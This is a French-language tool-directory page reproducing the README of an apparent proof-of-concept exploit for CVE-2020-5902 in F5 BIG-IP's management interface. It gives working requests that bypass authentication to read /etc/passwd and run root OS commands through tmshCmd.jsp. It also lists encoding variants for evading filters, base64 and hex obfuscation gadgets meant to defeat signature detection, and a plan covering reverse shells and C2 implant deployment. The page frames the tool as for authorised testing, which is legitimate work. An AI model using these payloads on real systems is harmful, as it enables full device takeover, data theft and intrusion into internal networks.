Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
F5-BIG-IP — Le F5 BIG-IP est une plateforme de livraison et de sécurité d'applications largement utilisée dans les environnements d'entreprise. La CVE-2020-5902 est une vulnérabilité critique dans le TMUI qui, dans les versions non corrigées, peut permettre un accès non autorisé et une exécution de code à distance, renforçant la nécessité de mise à jour et de gestion continue des vulnérabilités. | Kitploit
Outils/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Voir le dépôt
10il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Le F5 BIG-IP est une plateforme de livraison et de sécurité d'applications largement utilisée dans les environnements d'entreprise. La CVE-2020-5902 est une vulnérabilité critique dans le TMUI qui, dans les versions non corrigées, peut permettre un accès non autorisé et une exécution de code à distance, renforçant la nécessité de mise à jour et de gestion continue des vulnérabilités.

Partager

CVE-2020-5902 — RCE F5 BIG-IP TMUI

Preuve de concept pour la vulnérabilité critique de traversée de chemin / exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) de F5 BIG-IP.

⚠️ Réservé aux tests d'intrusion autorisés et à la recherche en sécurité. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'usage abusif de cet outil.


Table des matières

  • Contexte
  • Analyse de la vulnérabilité
  • Plongée technique
  • Versions concernées
  • Fonctionnalités
  • Installation
  • Utilisation
  • Mesures défensives
  • Détection et chasse aux menaces
  • Chronologie
  • Références
  • Avertissement

Contexte

F5 BIG-IP est une famille d'appareils réseau polyvalents (équilibreurs de charge, WAF, contrôleurs de diffusion d'applications) déployée dans la majorité des entreprises du Fortune 500, des institutions financières, des organismes de santé et des agences gouvernementales dans le monde entier. L'interface utilisateur de gestion du trafic (TMUI) — également appelée utilitaire de configuration — est le portail de gestion web accessible sur le port 443 (ou 8443).

En juillet 2020, F5 a divulgué CVE-2020-5902, une vulnérabilité de traversée de chemin Critique (CVSS 9.8) non authentifiée dans TMUI qui permet à un attaquant distant non authentifié de :

  • Lire des fichiers arbitraires du système Linux sous-jacent (LFI)
  • Exécuter des commandes OS arbitraires en tant que root (RCE)
  • Compromettre entièrement l'appareil et pivoter vers les réseaux internes

En quelques jours après la divulgation publique, une exploitation massive a été observée, y compris par des acteurs étatiques.


Analyse de la vulnérabilité

Cause racine

TMUI est construit sur Apache Tomcat et utilise un filtre de servlet pour imposer l'authentification sur les ressources protégées. La vulnérabilité réside dans la façon dont Tomcat analyse les segments de chemin délimités par un point-virgule (;).

La requête suivante contourne complètement l'authentification :

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Pourquoi cela fonctionne :

  1. Le filtre de servlet Tomcat voit le chemin comme /tmui/login.jsp (se termine avant ;) — qui est la page de connexion publique — et autorise la requête.
  2. Le résolveur d'URL de Tomcat traite ensuite /..;/ comme une traversée de chemin (/../) avant la distribution.
  3. La requête est finalement acheminée vers le servlet protégé fileRead.jsp sans authentification.
┌──────────────────────────────────────────────────────────────────┐
│  Requête client                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Filtre de servlet Tomcat    │
             │  Voit : /tmui/login.jsp  ✓    │
             │  (point d'accès public → AUTORISER) │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Résolveur d'URL Tomcat      │
             │  Résout : /..;/ → /../        │
             │  Chemin final : /tmui/locallb/│
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (pas de vérification) │
             │  Lit des fichiers arbitraires en root│
             └───────────────────────────────┘

De LFI à RCE

Le servlet tmshCmd.jsp (également accessible via la même traversée) transmet les paramètres command et utilCmdArgs directement à tmsh (le shell de gestion BIG-IP), qui exécute run util bash -c '...'. Cela permet une exécution de commandes OS de niveau root sans authentification :

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Plongée technique

Déroulement de l'attaque

Phase 1 : Reconnaissance
  └─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
  └─ Analyse du certificat SSL
  └─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
  └─ Estimation de la version BIG-IP à partir de /etc/f5-release

Phase 2 : Vérification de la vulnérabilité
  └─ Itération sur 6 variantes de codage de traversée
  └─ Test sur 4 fichiers sentinelles connus lisibles
  └─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)

Phase 3 : Exploitation
  ├─ Vecteur A : tmshCmd.jsp (RCE principal)
  │    └─ Commande obscurcie via gadgets base64 / hex-encode
  ├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
  │    └─ Commande OS injectée dans le paramètre fileName
  └─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)

Phase 4 : Post-exploitation (optionnel)
  ├─ Shell interactif (REPL de commande)
  ├─ Shell inverse (4 one-liners simultanés)
  ├─ Force brute LFI (30 chemins sensibles, parallèle)
  └─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)

Variantes de codage de traversée

VarianteCharge utile
Standardtmui/login.jsp/..;/tmui/...
Point-virgule encodétmui/login.jsp/..%3b/tmui/...
Double encodage URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Points unicodetmui/login.jsp/%2e%2e;/tmui/...
Variation de casseTMUI/login.jsp/..;/tmui/...
Confusion de répertoiretmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

Gadgets d'obscurcissement de commande

L'outil applique l'un des deux gadgets d'obscurcissement par exécution, rendant la détection par signature statique plus difficile :

# Gadget 1 — Pipeline d'encodage/décodage Base64
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Évaluation printf hexadécimale
eval "$(printf '\x69\x64')"

Versions concernées

Branche BIG-IPPlage vulnérableVersion corrigée
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2

BIG-IQ, BIG-IQ Centralized Management, F5OS et Traffix SDC ne sont pas concernés par cette CVE spécifique.


Fonctionnalités

Télécharger l’outil